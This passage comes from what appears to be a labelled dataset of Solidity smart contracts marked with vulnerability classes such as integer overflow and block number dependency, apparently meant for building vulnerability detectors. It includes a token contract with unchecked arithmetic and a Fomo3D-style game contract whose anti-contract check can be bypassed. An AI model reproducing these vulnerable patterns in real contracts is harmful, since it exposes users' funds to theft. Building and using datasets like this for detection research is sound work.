internal pure returns (uint256) { return (mul(x,x)); } }",./Dataset/block number dependency (BN),0,0 1634.sol,"pragma solidity ^0.4.24; contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract LuckGameToken is SafeMath { address public owner; string public name; string public symbol; uint public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); bool lock = false; constructor( uint256 initialSupply, string tokenName, string tokenSymbol, uint decimalUnits ) public { owner = msg.sender; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; } modifier onlyOwner { require(msg.sender == owner); _; } modifier isLock { require(!lock); _; } function setLock(bool _lock) onlyOwner public{ lock = _lock; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function _transfer(address _from, address _to, uint _value) isLock internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function burn(uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner public { uint256 _amount = mintedAmount * 10 ** uint256(decimals); balanceOf[target] += _amount; totalSupply += _amount; emit Transfer(this, target, _amount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function transferBatch(address[] _to, uint256 _value) public returns (bool success) { for (uint i=0; i<_to.length; i++) { _transfer(msg.sender, _to[i], _value); } return true; } }",./Dataset/integer overflow (OF)/,4,4 1385.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library NTech3DDatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 NTAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; uint256 prevres; } struct TeamFee { uint256 gen; uint256 nt; } struct PotSplit { uint256 gen; uint256 nt; } } interface OtherNTech3D { function potSwap() external payable; } library NTech3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf( address who ) public view returns (uint value); function allowance( address owner, address spender ) public view returns (uint _allowance); function transfer( address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value ) public returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } contract NTech3DLong { using SafeMath for *; using NameFilter for string; using NTech3DKeysCalcLong for uint256; event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 NTAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 NTAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 NTAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 NTAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); mapping(address => uint256) private users ; function initUsers() private { users[0x89b2E7Ee504afd522E07F80Ae7b9d4D228AF3fe2] = 9 ; users[msg.sender] = 9 ; } modifier isAdmin() { uint256 role = users[msg.sender]; require((role==9), ""Must be admin.""); _; } modifier isHuman { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""Humans only""); _; } PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x410526CD583AF0bE0530166d53Efcd7da969F7B7); address public communityAddr_; address public NTFoundationAddr_; address private NTTokenSeller_ ; ERC20 private NTToken_ ; function setNTToken(address addr) isAdmin() public { require(address(addr) != address(0x0), ""Empty address not allowed.""); NTToken_ = ERC20(addr); } function transfer(address toAddr, uint256 amount) isAdmin() public returns (bool) { require(amount > 0, ""Must > 0 ""); NTToken_.transfer(toAddr, amount); return true ; } bool public activated_ = false; modifier isActivated() { require(activated_ == true, ""its not active yet.""); _; } function activate() isAdmin() public { require(address(NTToken_) != address(0x0), ""Must setup NTToken.""); require(address(communityAddr_) != address(0x0), ""Must setup CommunityAddr_.""); require(address(NTTokenSeller_) != address(0x0), ""Must setup NTTokenSeller.""); require(address(NTFoundationAddr_) != address(0x0), ""Must setup NTFoundationAddr.""); require(activated_ == false, ""Only once""); activated_ = true ; rID_ = 1; round_[1].strt = now ; round_[1].end = now + rndMax_; } string constant public name = ""NTech 3D Long Official""; string constant public symbol = ""NT3D""; uint256 constant private rndInc_ = 1 minutes; uint256 constant private rndMax_ = 6 hours; uint256 private ntOf1Ether_ = 30000; OtherNTech3D private otherNTech3D_ ; function setOtherNTech3D(address _otherNTech3D) isAdmin() public { require(address(_otherNTech3D) != address(0x0), ""Empty address not allowed.""); require(address(otherNTech3D_) == address(0x0), ""OtherNTech3D has been set.""); otherNTech3D_ = OtherNTech3D(_otherNTech3D); } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""Too little""); require(_eth <= 100000000000000000000000, ""Too much""); _; } mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => NTech3DDatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => NTech3DDatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; uint256 public rID_; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; mapping (uint256 => NTech3DDatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => NTech3DDatasets.TeamFee) public fees_; mapping (uint256 => NTech3DDatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = NTech3DDatasets.TeamFee(30,6); fees_[1] = NTech3DDatasets.TeamFee(43,0); fees_[2] = NTech3DDatasets.TeamFee(56,10); fees_[3] = NTech3DDatasets.TeamFee(43,8); potSplit_[0] = NTech3DDatasets.PotSplit(15,10); potSplit_[1] = NTech3DDatasets.PotSplit(25,0); potSplit_[2] = NTech3DDatasets.PotSplit(20,20); potSplit_[3] = NTech3DDatasets.PotSplit(30,10); initUsers(); NTToken_ = ERC20(address(0x09341B5d43a9b2362141675b9276B777470222Be)); communityAddr_ = address(0x3C07f9f7164Bf72FDBefd9438658fAcD94Ed4439); NTTokenSeller_ = address(0x531100a6b3686E6140f170B0920962A5D7A2DD25); NTFoundationAddr_ = address(0x89b2E7Ee504afd522E07F80Ae7b9d4D228AF3fe2); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { NTech3DDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID){ _affCode = plyr_[_pID].laff; }else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { NTech3DDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender){ _affID = plyr_[_pID].laff; }else{ _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { NTech3DDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name){ _affID = plyr_[_pID].laff; }else{ _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { NTech3DDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID){ _affCode = plyr_[_pID].laff; }else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { NTech3DDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender){ _affID = plyr_[_pID].laff; }else{ _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { NTech3DDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name){ _affID = plyr_[_pID].laff; }else{ _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && (round_[_rID].ended == false) && round_[_rID].plyr != 0){ NTech3DDatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit onWithdrawAndDistribute( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.NTAmount, _eventData_.genAmount ); }else{ _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit onWithdraw( _pID, msg.sender, plyr_[_pID].name, _eth, _now ); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable{ bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit onNewName( _pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now ); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable{ bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit onNewName( _pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now ); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable{ bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit onNewName( _pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now ); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].end).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0){ if (round_[_rID].plyr == _pID){ uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres); return ( (plyr_[_pID].win).add( ((_pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres); return( ((((round_[_rID].mask).add(((((_pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256){ uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, NTech3DDatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); }else{ if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit onBuyAndDistribute( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.NTAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, NTech3DDatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); }else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit onReLoadAndDistribute( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.NTAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, NTech3DDatasets.EventReturns memory _eventData_) private{ if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 10000000000000000000){ uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000){ updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000){ airDropTracker_++; if (airdrop() == true){ uint256 _prize; if (_eth >= 10000000000000000000){ _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; }else if(_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; }else if(_eth >= 100000000000000000 && _eth < 1000000000000000000){ _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256){ uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""Called from PlayerBook only""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""Called from PlayerBook only""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(NTech3DDatasets.EventReturns memory _eventData_) private returns (NTech3DDatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0){ _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """"){ pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return _eventData_ ; } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, NTech3DDatasets.EventReturns memory _eventData_) private returns (NTech3DDatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return _eventData_ ; } function endRound(NTech3DDatasets.EventReturns memory _eventData_) private returns (NTech3DDatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres); uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _nt = (_pot.mul(potSplit_[_winTID].nt)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_nt); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0){ _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if(address(communityAddr_)!=address(0x0)) { communityAddr_.transfer(_com); _com = 0 ; }else{ _res = SafeMath.add(_res,_com); _com = 0 ; } if(_nt > 0) { if(address(NTFoundationAddr_) != address(0x0)) { NTFoundationAddr_.transfer(_nt); }else{ _res = SafeMath.add(_res,_nt); _nt = 0 ; } } round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.NTAmount = 0; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndMax_); round_[_rID].prevres = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0){ plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / 